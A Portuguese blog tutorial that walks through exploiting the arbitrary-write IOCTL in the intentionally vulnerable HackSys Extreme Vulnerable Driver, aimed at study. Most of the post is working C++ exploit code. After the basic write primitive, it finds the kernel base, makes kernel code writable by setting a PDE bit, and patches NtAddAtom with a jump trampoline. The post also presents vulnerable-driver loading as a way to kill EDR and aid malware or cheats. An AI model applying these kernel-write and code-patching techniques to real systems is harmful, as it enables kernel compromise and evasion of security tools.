HackSys Extreme Vulnerable Driver
Vithor | Monday, December 15, 2025 | 22 min read
Percebi que, mesmo depois de tantos posts, eu nunca tinha falado sobre drivers no Windows. Então decidi iniciar uma pequena série sobre o assunto. E nada melhor para começar do que apresentar um dos projetos mais clássicos quando falamos de exploração de vulnerabilidades em drivers: o HackSys Extreme Vulnerable Driver (HEVD).
Vale lembrar que já existem vários blogs que analisam profundamente as vulnerabilidades desse driver. No próprio repositório do projeto você encontra links para materiais que explicam como explorar diferentes tipos de falhas.
Ainda assim, resolvi escrever um post simples sobre o tema. Portanto, se você está buscando um estudo mais avançado ou detalhado, este post talvez não seja para você, minha intenção aqui é trazer uma visão mais direta e acessível.
WARNING: As informações que você encontrar neste post, técnicas, códigos, provas de conceito ou qualquer outra coisa são estritamente para fins educacionais.
Introdução
Provavelmente você já ouviu o termo Bring Your Own Vulnerable Driver (BYOVD), mas caso nunca tenha ouvido falar, trata-se de carregar um driver vulnerável para explorar falhas no kernel.
Explorar um driver vulnerável é algo muito interessante no contexto de desenvolvimento de malware, pois permite eliminar processos de EDR, modificar estruturas de dados do kernel das quais os EDRs dependem para coletar telemetria e muito mais. Também é uma técnica amplamente utilizada por desenvolvedores de cheats de jogos.
Driver Installation
Para conseguir executar o driver HEVD.sys, você vai precisar ativar o modo de teste no Windows. Você pode fazer isso iniciando um CMD como administrador e executando os seguintes comandos:
bcdedit /set testsigning on
shutdown /r /t 0
INFO: Vale lembrar que você também pode utilizar o kdmapper, que consegue mapear o driver na memória do kernel sem a necessidade de um certificado ou de modificar as configurações de inicialização.
Registrar Serviço
O próximo passo é registrar o serviço do driver e inicializá-lo. Você pode fazer isso utilizando o OSR Driver Loader ou simplesmente executando os seguintes comandos no CMD para registrar um serviço e inicializá-lo:
sc create HEVD type= kernel start= demand binPath= "C:\caminho\para\HEVD.sys"
sc start HEVD
sc query HEVD
Análise Estática
Como estamos lidando com um driver vulnerável, o principal objetivo é fazer engenharia reversa e descobrir manipuladores de IOCTL que tenham sido implementados de forma insegura. Então, o que são IOCTLs?
IOCTL (Input Output Control Codes) IOCTLs são códigos de controle enviados a drivers para instruí-los a realizar operações específicas. Cada driver define seu próprio conjunto de IOCTLs, que são processados em suas rotinas de despacho. Quando esses manipuladores não validam corretamente os dados recebidos, podem surgir falhas que tornam o driver vulnerável.
Da mesma forma, é importante entender também o papel dos IRPs:
IRP (I/O Request Packets) IRPs são estruturas usadas pelo Windows para transmitir solicitações, como leitura, escrita ou comandos de controle, entre o sistema operacional e os drivers. Cada IOCTL gera um IRP, que é tratado pela rotina DispatchDeviceControl do driver. Quando o processamento desses IRPs é feito de maneira inadequada, pode ocorrer comportamento incorreto no driver, incluindo problemas de integridade de memória ou de controle de acesso.
Análise do Driver
Então, para começar a análise do driver, vamos carregá-lo no IDA.
![[Pasted image 20260422174950.png]]
O próximo passo é localizar os IOCTLs implementados no driver, que podem ser encontrados na função **sub_140085078**.
![[Pasted image 20260422174957.png]]
O principal objetivo agora é analisar o manipulador relacionado ao: HEVD_IOCTL_ARBITRARY_WRITE para isso, vamos observá-lo com mais atenção. Já sabemos que o IOCTL correspondente é: 0x22200Bu
Seguindo no IDA, entramos na função **sub_140085E58**, onde encontramos o seguinte**:**
__int64 __fastcall sub_140085E58(__int64 a1, __int64 a2)
{
__int64 result; // rax
result = 3221225473LL;
if ( *(_QWORD *)(a2 + 32) )
return sub_140085E74();
return result;
}
A função **sub_140085E58** basicamente verifica um campo dentro da estrutura do IRP e, se ele for válido, redireciona o processamento para **sub_140085E74,** caso contrário, apenas retorna um código de erro padrão.
Como esse redirecionamento ocorre quando a condição é atendida, o próximo passo da análise é justamente entender o que acontece dentro de **sub_140085E74**.
__int64 __fastcall sub_140085E74(_QWORD **a1)
{
_QWORD *v2; // rbx
_QWORD *v3; // rdi
ProbeForRead(a1, 0x10u, 1u);
v2 = *a1;
v3 = a1[1];
DbgPrintEx(0x4Du, 3u, "[+] UserWriteWhatWhere: 0x%p\n", a1);
DbgPrintEx(0x4Du, 3u, "[+] WRITE_WHAT_WHERE Size: 0x%X\n", 16);
DbgPrintEx(0x4Du, 3u, "[+] UserWriteWhatWhere->What: 0x%p\n", v2);
DbgPrintEx(0x4Du, 3u, "[+] UserWriteWhatWhere->Where: 0x%p\n", v3);
DbgPrintEx(0x4Du, 3u, "[+] Triggering Arbitrary Write\n");
*v3 = *v2;
return 0;
}
Temos que tentar entender essa função imaginando que os prints não existem, para que possamos realmente aprender o que ela faz. A função **sub_140085E74** recebe como argumento um ponteiro para um array de dois ponteiros _QWORD **a1.
Logo no início, ela chama ProbeForRead(a1, 0x10u, 1u), o que indica que o driver espera que a1 aponte para uma estrutura de pelo menos 16 bytes (0x10), contendo dois endereços de 8 bytes cada.
Depois dessa verificação, o código faz:
v2 = *a1;
v3 = a1[1];
Isso já nos diz algo muito importante: a função está tratando **a1** como um array de dois ponteiros fornecidos pelo usuário.
Em seguida, ela executa:
*v3 = *v2;
Aqui está o comportamento essencial:
-
A função lê um valor do endereço apontado por
v2. -
E escreve esse valor no endereço apontado por
v3.
Mesmo que não existisse print ou comentário, essa operação deixa claro que a função copia dados de um endereço para outro, diretamente na memória.
Para entender de fato como os ponteiros v2 e v3 chegam até **sub_140085E74**, precisamos voltar para a função que chama **sub_140085E58**, que é o trecho responsável por tratar o IOCTL **0x22200B**:
case 0x22200Bu:
DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_ARBITRARY_WRITE ******\n");
v6 = sub_140085E58(a2, CurrentStackLocation);
v7 = "****** HEVD_IOCTL_ARBITRARY_WRITE ******\n";
goto LABEL_62;
Aqui podemos ver que, quando o IOCTL correto é identificado, o driver:
-
Recebe o IRP (no
CurrentStackLocation). -
Passa esse IRP para
**sub_140085E58**, que faz a verificação inicial e possivelmente chama**sub_140085E74**.
Com isso, o próximo foco da análise passa a ser como CurrentStackLocation é construído, ou seja, como os dados enviados pelo usuário chegam até a função vulnerável responsável pela escrita arbitrária.
Para entender esse fluxo, voltamos ao início da função sub_140085078, que atua como o handler principal dos IOCTLs do driver.
Ao observar o começo da função, encontramos o seguinte:
__int64 __fastcall sub_140085078(__int64 a1, IRP *a2)
{
struct _IO_STACK_LOCATION *CurrentStackLocation; // r14
unsigned int v4; // esi
unsigned int LowPart; // r9d
unsigned int v6; // eax
const CHAR *v7; // r8
CurrentStackLocation = a2->Tail.Overlay.CurrentStackLocation;
v4 = -1073741637;
if ( CurrentStackLocation )
{
LowPart = CurrentStackLocation->Parameters.Read.ByteOffset.LowPart;
if ( LowPart > 0x22203B )
{
if ( LowPart > 0x222057 )
{
switch ( LowPart )
{
case 0x22205Bu:
Aqui podemos ver que a função recebe como argumentos um DeviceObject (representado por a1) e um ponteiro para um IRP (a2), exatamente como uma rotina de dispatch esperada em um driver do Windows.
Agora vamos olhar para essa linha:
CurrentStackLocation = a2->Tail.Overlay.CurrentStackLocation;
Antes de tudo, é importante entender o que é o CurrentStackLocation. CurrentStackLocation é a estrutura _IO_STACK_LOCATION associada ao IRP que o driver está processando. Sempre que um processo em modo usuário chama DeviceIoControl, o Windows preenche essa estrutura com os parâmetros da requisição.
Então a expressão a2->Tail.Overlay.CurrentStackLocation simplesmente acessa o campo onde o Windows guarda o stack location atual. Ou seja:
CurrentStackLocation passa a apontar para a parte do IRP onde estão os dados enviados pelo usuário.
Com esse ponteiro em mãos, o driver consegue ver qual IOCTL foi solicitado. Isso acontece logo na linha seguinte:
LowPart = CurrentStackLocation->Parameters.Read.ByteOffset.LowPart;
O HEVD reutiliza esse campo (LowPart) para armazenar o código IOCTL, Portanto:
LowParté o IOCTL que o processo em modo usuário enviou.
Depois disso, o driver compara esse valor com alguns limites e finalmente entra no switch, onde cada case corresponde a um IOCTL específico.
É dessa forma que o IOCTL 0x22200B acaba sendo direcionado para o manipulador vulnerável responsável pela escrita arbitrária.
Escrevendo exploit
Agora que entendemos melhor o funcionamento interno do driver, podemos começar a desenvolver o nosso exploit.
O primeiro passo é simples: estabelecer uma conexão com o driver vulnerável para que possamos enviar IOCTLs e interagir diretamente com ele.
Para isso, criamos uma classe responsável por abrir o handler do dispositivo:
class MemoryTester {
private:
HANDLE hDevice;
public:
MemoryTester() : hDevice(INVALID_HANDLE_VALUE) {}
BOOL Initialize() {
hDevice = CreateFileW(
L"\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Falha ao abrir handle do dispositivo: %d\n", GetLastError());
}
else {
printf("[+] Handle do dispositivo aberto com sucesso\n");
}
return hDevice != INVALID_HANDLE_VALUE;
}
};
Essa rotina utiliza CreateFileW para abrir o símbolo de dispositivo exposto pelo driver (\\.\HackSysExtremeVulnerableDriver).
Caso você queira identificar ou confirmar qual é o nome do dispositivo criado pelo driver, uma forma prática é utilizar o WinObj, da Sysinternals. Ele permite visualizar todos os objetos do namespace do Windows, incluindo drivers carregados e seus respectivos device names, como mostrado na imagem abaixo:
![[Pasted image 20260422175306.png]]
Se a chamada para CreateFileW retornar um handle válido, significa que conseguimos estabelecer comunicação com o driver, e a partir desse ponto, podemos enviar IOCTLs e explorar a vulnerabilidade.
O código para testar a conexão fica assim:
#include <windows.h>
#include <stdio.h>
#include <winioctl.h>
#include <iostream>
#include <memory>
#include "executar_ioctl.h"
int main() {
printf("===========================================\n");
printf(" HackSysExtremeVulnerableDriver - POC \n");
printf("===========================================\n\n");
printf("[*] Inicializando conexao com o driver...\n");
MemoryTester classe_tester;
if (!classe_tester.Initialize()) {
printf("[!] Falha ao abrir dispositivo: %d\n", GetLastError());
printf("[!] Certifique-se de que o driver esta carregado e o dispositivo esta acessivel\n");
return 1;
}
system("pause");
return 0;
}
Após executar esse código, obtemos a confirmação de que o handle do dispositivo foi aberto, o que nos permite prosseguir para a fase mais interessante: enviar o IOCTL vulnerável.
![[Pasted image 20260422175329.png]]
Enviando o IOCTL
O IOCTL que ativa a primitiva de escrita arbitrária no HEVD é o 0x22200B, então:
#define HEVD_IOCTL_ARBITRARY_WRITE 0x22200B
Como vimos anteriormente na análise reversa, o driver espera receber uma estrutura contendo dois ponteiros:
-
What → endereço de onde será lido o valor
-
Where → endereço para onde o valor será escrito
Podemos representá-la em C/C++ como:
typedef struct _WRITE_WHAT_WHERE {
PVOID What;
PVOID Where;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;
Com isso, adicionamos à classe MemoryTester um método responsável por disparar o IOCTL vulnerável:
BOOL ArbitraryWrite(PVOID What, PVOID Where) {
WRITE_WHAT_WHERE Struct = { 0 };
Struct.What = What;
Struct.Where = Where;
printf("\n[*] Chamando IOCTL_ARBITRARY_WRITE\n");
printf("[*] Codigo IOCTL: 0x%X\n", HEVD_IOCTL_ARBITRARY_WRITE);
printf("[*] Destino (Where): 0x%p\n", Where);
BOOL result = DeviceIoControl(
hDevice,
HEVD_IOCTL_ARBITRARY_WRITE,
&Struct,
sizeof(WRITE_WHAT_WHERE),
NULL, // No output buffer
0, // No output buffer size
NULL, // No bytes returned
NULL // No overlapped
);
if (result) {
printf("[+] Chamada IOCTL realizada com sucesso!\n");
return TRUE;
} else {
DWORD error = GetLastError();
printf("[-] Chamada IOCTL falhou com erro: %d (0x%X)\n", error, error);
if (error == ERROR_INVALID_FUNCTION) {
printf("[-] Codigo IOCTL invalido: 0x%X\n", HEVD_IOCTL_ARBITRARY_WRITE);
}
return FALSE;
}
}
Agora que já temos a função ArbitraryWrite implementada, o próximo passo é chamá-la a partir da função main. Para isso, precisamos fornecer dois argumentos:
-
What → ponteiro para o valor que queremos escrever
-
Where → endereço de destino onde o valor será gravado
Para testar se a primitiva realmente funciona, podemos começar criando uma área de memória totalmente controlada em modo usuário, isso permite verificar a escrita sem arriscar travamentos
A alocação pode ser feita de forma simples sem nenhum problema:
PULONG_PTR targetMemory = (PULONG_PTR)VirtualAlloc(
NULL,
sizeof(ULONG_PTR),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
printf("[+] Memoria de destino alocada em: 0x%p\n", targetMemory);
ULONG_PTR valueToWrite = 176;
Com essa estrutura montada, podemos chamar o método ArbitraryWrite passando o endereço do valor a ser escrito e o endereço da memória alvo:
if (classe_tester.ArbitraryWrite(&valueToWrite, targetMemory)) {
printf("\n[*] Verificando operacao de escrita...\n");
printf("[*] Valor final: %llu (0x%llX)\n", *targetMemory, *targetMemory);
if (*targetMemory == valueToWrite) {
printf("[+] SUCESSO! Valor 176 escrito com sucesso!\n");
printf("[+] Vulnerabilidade de escrita arbitraria confirmada!\n");
}
else {
printf("[-] FALHA! Valor nao foi escrito corretamente\n");
printf("[-] Esperado: %llu, Obtido: %llu\n", valueToWrite, *targetMemory);
}
}
else {
printf("[-] Funcao ArbitraryWrite falhou\n");
}
Ao executar o código, obtemos o seguinte resultado, demonstrando claramente que o driver aceitou o IOCTL e realizou a escrita arbitrária com sucesso:
![[Pasted image 20260422175412.png]]
Elevando a dificuldade
Bom, agora que descobrimos que é realmente fácil abusar dessa função, como poderíamos chamar uma função arbitrária, algo como DbgPrint por exemplo? Pode parecer besteira, mas vai ser bem mais desafiador do que parece conseguir fazer isso.
Se você analisar o driver, vai perceber que não existe um IOCTL específico para executar código arbitrário ou chamar funções diretamente. Então, precisamos forçar essa chamada de alguma forma. Mas como podemos fazer isso?
Uma maneira de conseguir isso é calculando o endereço base do kernel e somando o offset até uma função Nt, como por exemplo NtAddAtom. Nesse endereço, vamos sobrescrever os primeiros bytes da função com um gadget que nos permitirá redirecionar o fluxo de execução para onde quisermos.
O gadget que vamos utilizar é bem simples:
unsigned char shellcode[] = {
0x48, 0xB8, // mov rax, <endereço>
0, 0, 0, 0, 0, 0, 0, 0, // endereço de 64 bits (será preenchido)
0xFF, 0xE0, // jmp rax
0x90, 0x90, 0x90, 0x90 // NOP padding para 16 bytes
};
Esse pequeno trecho de código faz o seguinte:
-
mov rax, <endereço> → carrega um endereço de 64 bits no registrador RAX
-
jmp rax → salta para o endereço contido em RAX
Em outras palavras, estamos criando um trampolim. Quando alguém chamar a função NtAddAtom (que agora está corrompida), em vez de executar o código original, o processador vai executar nosso gadget, que imediatamente desviará a execução para o endereço que especificarmos.
Mas temos alguns problemas aqui. Se tentarmos escrever diretamente nesse endereço de memória, vamos obter uma tela azul bem bonita. Isso ocorre porque esse endereço está em uma região protegida contra escrita.
Antes de resolver esse problema, precisamos primeiro descobrir onde o kernel está carregado na memória. Para isso, adicionamos à nossa classe MemoryTester um método chamado GetBaseAddr:
#include <psapi.h>
LPVOID GetBaseAddr(LPCWSTR drvname)
{
LPVOID drivers[1024];
DWORD cbNeeded;
int nDrivers, i = 0;
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers))
{
WCHAR szDrivers[1024];
nDrivers = cbNeeded / sizeof(drivers[0]);
for (i = 0; i < nDrivers; i++)
{
if (GetDeviceDriverBaseName(drivers[i], szDrivers,
sizeof(szDrivers) / sizeof(szDrivers[0])))
{
if (wcscmp(szDrivers, drvname) == 0)
{
return drivers[i];
}
}
}
}
return 0;
}
Essa função utiliza EnumDeviceDrivers para enumerar todos os drivers carregados no sistema e armazená-los no array drivers. Depois disso, ela percorre cada entrada desse array usando GetDeviceDriverBaseName para obter o nome de cada driver.
Quando encontra o driver que estamos procurando (no nosso caso, ntoskrnl.exe), ela simplesmente retorna o endereço base correspondente. Esse é justamente o endereço onde o kernel do Windows está carregado na memória.
Na função main, chamamos esse método da seguinte forma:
printf("[+] Chamando EnumDeviceDrivers para encontrar NT base\n");
LPVOID nt_base = classe_tester.GetBaseAddr(L"ntoskrnl.exe");
printf("[+] NT base: %p\n", nt_base);
Com esse endereço em mãos, temos a base do kernel. A partir dele, podemos calcular o offset até qualquer função exportada, como NtAddAtom.
Agora precisamos descobrir onde exatamente ficam as funções NtAddAtom e DbgPrint dentro dele. Para isso, vamos usar um truque bem interessante: carregar uma cópia do ntoskrnl.exe em modo usuário.
HMODULE user_copy = LoadLibraryExW(
L"C:\\Windows\\System32\\ntoskrnl.exe",
NULL,
DONT_RESOLVE_DLL_REFERENCES);
if (!user_copy) {
printf("[-] Falha ao carregar a copia do kernel\n");
return -1;
}
Aqui estamos usando LoadLibraryExW com a flag DONT_RESOLVE_DLL_REFERENCES, que carrega o arquivo do kernel como se fosse uma DLL comum, mas sem resolver suas dependências.
A grande sacada aqui é que, embora estejamos carregando o arquivo em modo usuário, a estrutura interna dele é idêntica à versão carregada no kernel. Isso significa que os offsets relativos das funções exportadas são os mesmos.
Com essa cópia em mãos, podemos calcular os offsets:
ULONGLONG offset = classe_tester.GetKernelExportOffset(user_copy, "NtAddAtom");
ULONGLONG ntaddatom_kernel = (ULONGLONG)nt_base + offset;
printf("[+] Endereco do Kernel NtAddAtom: 0x%llx\n", ntaddatom_kernel);
ULONGLONG dbgprint_offset = classe_tester.GetKernelExportOffset(user_copy, "DbgPrint");
ULONGLONG dbgprint_kernel = (ULONGLONG)nt_base + dbgprint_offset;
printf("[+] Endereco do Kernel DbgPrint: 0x%llx\n", dbgprint_kernel);
O método GetKernelExportOffset é bem direto:
ULONGLONG GetKernelExportOffset(HMODULE user_copy, const char* export_name)
{
ULONGLONG base = (ULONGLONG)user_copy;
void* export_addr = (void*)GetProcAddress(user_copy, export_name);
if (!export_addr)
return 0;
return (ULONGLONG)export_addr - base;
}
Ele usa GetProcAddress para encontrar o endereço da função exportada na nossa cópia em modo usuário, e então subtrai o endereço base dessa cópia. O resultado é o offset relativo da função dentro do arquivo.
Como os offsets são os mesmos tanto na cópia em modo usuário quanto no kernel real, podemos simplesmente somar esse offset ao endereço base do kernel que obtivemos anteriormente. Com isso, temos os endereços exatos de NtAddAtom e DbgPrint no kernel em execução.
Agora que temos o endereço da DbgPrint no kernel, precisamos preencher nosso shellcode com esse endereço. Lembra que o gadget tinha aqueles bytes zerados esperando um endereço de 64 bits? É exatamente isso que vamos fazer agora:
memcpy(shellcode + 2, &dbgprint_kernel, sizeof(dbgprint_kernel));
Essa linha copia o endereço de DbgPrint para dentro do shellcode, começando no byte 2, pulando os dois primeiros bytes que são a instrução mov rax. Com isso, nosso gadget fica completo: ele vai carregar o endereço da DbgPrint em RAX e dps vai saltar para lá.
Mas tem um detalhe importante aqui. Quando sobrescrevermos os primeiros bytes da NtAddAtom com nosso shellcode, vamos destruir o código original da função. Se quisermos restaurar o comportamento normal depois (ou evitar deixar o sistema instável), precisamos salvar esses bytes antes de modificá-los.
const SIZE_T shellcode_size = sizeof(shellcode);
unsigned char original_bytes[shellcode_size];
ULONGLONG user_ntaddatom = (ULONGLONG)user_copy + offset;
memcpy(original_bytes, (void*)user_ntaddatom, shellcode_size);
Aqui estamos fazendo exatamente isso: calculamos onde a NtAddAtom está localizada na nossa cópia em modo usuário (somando o offset ao endereço base da cópia) e copiamos os primeiros bytes dela para o array original_bytes.
Esses bytes são importantes porque guardando-os, temos a opção de restaurar a NtAddAtom ao seu estado original depois de usarmos nosso trampolim, evitando deixar o sistema em um estado permanentemente corrompido.
Agora lembra que eu disse que o endereço de NtAddAtom não tem permissão de escrita? Então, temos que alterar isso antes de conseguirmos sobrescrever a função com nosso shellcode.
Para entender o que vamos fazer, precisamos falar rapidamente sobre como o Windows gerencia a memória através de estruturas chamadas Page Table Entries (PTEs).
Cada região de memória no sistema tem entradas que descrevem suas permissões, e essas entradas são organizadas em uma hierarquia: PXE -> PPE -> PDE -> PTE.
O que nos interessa aqui é o PDE (Page Directory Entry) da NtAddAtom. Essa estrutura contém, entre outras coisas, um bit que controla se a página é writable (gravável) ou read-only (somente leitura). No caso do código do kernel, por padrão esse bit está desligado, impedindo escritas.
Para obter o endereço do PDE do NtAddAtom, eu por preguiça decidi usar o WinDbg anexando-o ao kernel localmente e executando os seguintes comandos:
x nt!NtAddAtom
!pte <endereço de NtAddAtom>
INFO: Lembre-se de que é necessário ativar o modo de depuração para que isso funcione, já que precisamos nos anexar ao kernel. Para isso, execute o comando bcdedit /debug on e reinicie o computador.
Isso vai retornar algo parecido com:
PXE at FFFFC9E4F2793F80 PPE at FFFFC9E4F27F0080 PDE at FFFFC9E4FE010488 PTE at FFFFC9FC02091AB0
contains 0000000005409063 contains 000000000550A063 contains 0A000000038000A1 contains 0000000000000000
pfn 5409 ---DA--KWEV pfn 550a ---DA--KWEV pfn 3800 --L-A--KREV LARGE PAGE pfn 3956
O endereço que precisamos é justamente o PDE: FFFFC9E4FE010488. Copiamos esse valor e adicionamos ao nosso código:
ULONGLONG ntaddatom_pde_addr = 0xFFFFC9E4FE010488ULL;
Com o endereço do PDE em mãos, agora podemos ler seu valor atual, modificá-lo para incluir a permissão de escrita, e depois usar nossa primitiva de escrita arbitrária para aplicar a mudança:
// Ler PDE original
ULONGLONG ntaddatom_pde_original = classe_tester.kernel_read(classe_tester.GetDeviceHandle(), ntaddatom_pde_addr);
printf("[+] PDE original: 0x%016llx\n", ntaddatom_pde_original);
// Tornar writable (setar bit R/W - bit 1)
ULONGLONG ntaddatom_pde_writable = ntaddatom_pde_original | 0x2ULL;
printf("[+] PDE modificado (writable): 0x%016llx\n", ntaddatom_pde_writable);
printf("[*] Modificando PDE para tornar NtAddAtom writable...\n");
if (!classe_tester.ArbitraryWrite(&ntaddatom_pde_writable, sizeof(ntaddatom_pde_writable), (PVOID)ntaddatom_pde_addr)) {
printf("[-] Falha ao modificar PDE\n");
return 1;
}
O que estamos fazendo aqui é bem direto: primeiro lemos o valor atual do PDE, depois fazemos um OR bit a bit com 0x2 (que ativa o bit de escrita), e finalmente usamos o ArbitraryWrite para sobrescrever o PDE com esse novo valor modificado.
A partir desse momento, a página onde o NtAddAtom está localizada se torna gravável, e podemos finalmente sobrescrever seus primeiros bytes com nosso shellcode.
Antes de prosseguir, precisei fazer uma modificação importante no método ArbitraryWrite. A versão anterior funcionava bem para escrever valores únicos, mas agora precisamos escrever um shellcode inteiro, byte por byte, no kernel. Para isso, a nova implementação ficou assim:
BOOL ArbitraryWrite(const void* data, SIZE_T size, PVOID base_addr) {
const unsigned char* bytes = reinterpret_cast<const unsigned char*>(data);
for (SIZE_T i = 0; i < size; i += 8) {
ULONGLONG qword = 0;
SIZE_T copy_size = (i + 8 <= size) ? 8 : (size - i);
memcpy(&qword, bytes + i, copy_size);
char buf[0x10];
memset(buf, 0x41, sizeof(buf));
void* what_ptr = &qword;
memcpy(buf, &what_ptr, 8);
PVOID where_addr = (PVOID)((ULONGLONG)base_addr + i);
memcpy(buf + 8, &where_addr, 8);
DWORD bytesReturned = 0;
BOOL result = DeviceIoControl(
hDevice,
HEVD_IOCTL_ARBITRARY_WRITE,
buf,
sizeof(buf),
NULL,
0,
&bytesReturned,
NULL
);
if (!result) {
DWORD error = GetLastError();
printf("[-] Falha ao escrever no offset %zu: %d (0x%X)\n", i, error, error);
return FALSE;
}
}
return TRUE;
}
A diferença aqui é que agora o método recebe um buffer de dados e seu tamanho, e então itera sobre esse buffer escrevendo 8 bytes (um QWORD) por vez. Para cada iteração, ele calcula o offset correto no endereço de destino e usa a primitiva de escrita arbitrária para gravar aquele pedaço do shellcode.
Com essa nova versão, podemos finalmente sobrescrever a NtAddAtom com nosso shellcode:
printf("[*] Escrevendo shellcode no kernel...\n");
if (!classe_tester.ArbitraryWrite(shellcode, sizeof(shellcode), (PVOID)ntaddatom_kernel)) {
printf("[-] Falha ao escrever shellcode\n");
classe_tester.ArbitraryWrite(&ntaddatom_pde_original, sizeof(ntaddatom_pde_original), (PVOID)ntaddatom_pde_addr);
return 1;
}
Se a escrita do shellcode falhar por algum motivo, já restauramos o PDE imediatamente para evitar problemas.
Assumindo que tudo deu certo, agora os primeiros bytes da NtAddAtom no kernel foram substituídos pelo nosso trampolim. Mas ainda não terminamos: precisamos restaurar as permissões da página de volta ao estado original para não deixar o código do kernel permanentemente gravável.
printf("[*] Restaurando PDE para Read-Only...\n");
if (!classe_tester.ArbitraryWrite(&ntaddatom_pde_original, sizeof(ntaddatom_pde_original), (PVOID)ntaddatom_pde_addr)) {
printf("[-] Falha ao restaurar PDE (PERIGO!)\n");
}
else {
printf("[+] PDE restaurado!\n");
}
Aqui estamos escrevendo de volta o valor original do PDE, removendo a permissão de escrita que havíamos adicionado.
Neste ponto, a NtAddAtom está corrompida com nosso shellcode, mas a página voltou a ser read-only. Agora, sempre que alguém chamar NtAddAtom, em vez de executar a função original, o processador vai executar nosso trampolim que desvia para a DbgPrint.
Agora vem a parte mais interessante, chamar nossa função corrompida. Para isso, precisamos chamar NtAddAtom a partir do modo usuário, e quando o processador tentar executá-la, vai acabar executando nosso shellcode que desvia para a DbgPrint.
Primeiro, carregamos a ntdll.dll e obtemos o endereço da NtAddAtom exportada:
HMODULE ntdll = LoadLibraryA("ntdll.dll");
typedef NTSTATUS(NTAPI* NtAddAtom_t)(PWSTR, ULONG, PVOID);
NtAddAtom_t pNtAddAtom = (NtAddAtom_t)GetProcAddress(ntdll, "NtAddAtom");
Em seguida, preparamos uma mensagem que queremos que seja impressa pelo DbgPrint no kernel:
const char* dbg_msg = "Ei! Nao se esqueca de me seguir em github.com/Vith0r\n";
printf("[*] Invocando NtAddAtom para disparar DbgPrint...\n");
pNtAddAtom((PWSTR)dbg_msg, 0, NULL);
Quando chamamos pNtAddAtom, o que acontece é bem legal, a chamada faz uma transição de modo usuário para modo kernel via syscall, e o processador tenta executar o código da NtAddAtom.
Só que em vez do código original da função, ele encontra nosso shellcode mov rax, <endereço_DbgPrint>; jmp rax, que carrega o endereço da DbgPrint em RAX e salta para lá. Com isso, o DbgPrint é executado recebendo nossa mensagem como argumento.
Vale lembrar que essa mensagem não vai aparecer no console do nosso programa, mas sim no output do kernel debugger:
![[Pasted image 20260422175637.png]]
Considerações Finais
Bom, para falar a verdade, foi bem difícil conseguir estudar tudo isso. Levei bastante tempo para conseguir escrever esse “artigo” e espero de verdade que você tenha gostado dele.
Acho que não preciso, nesse ponto, estar explicando mais nada. Se você entendeu tudo até aqui, tem capacidade de completar todo o restante sozinho.
Muito obrigado se você chegou até aqui. Espero que esse conteúdo tenha sido útil de alguma forma para seu aprendizado sobre segurança de drivers no Windows. Tchau tchau!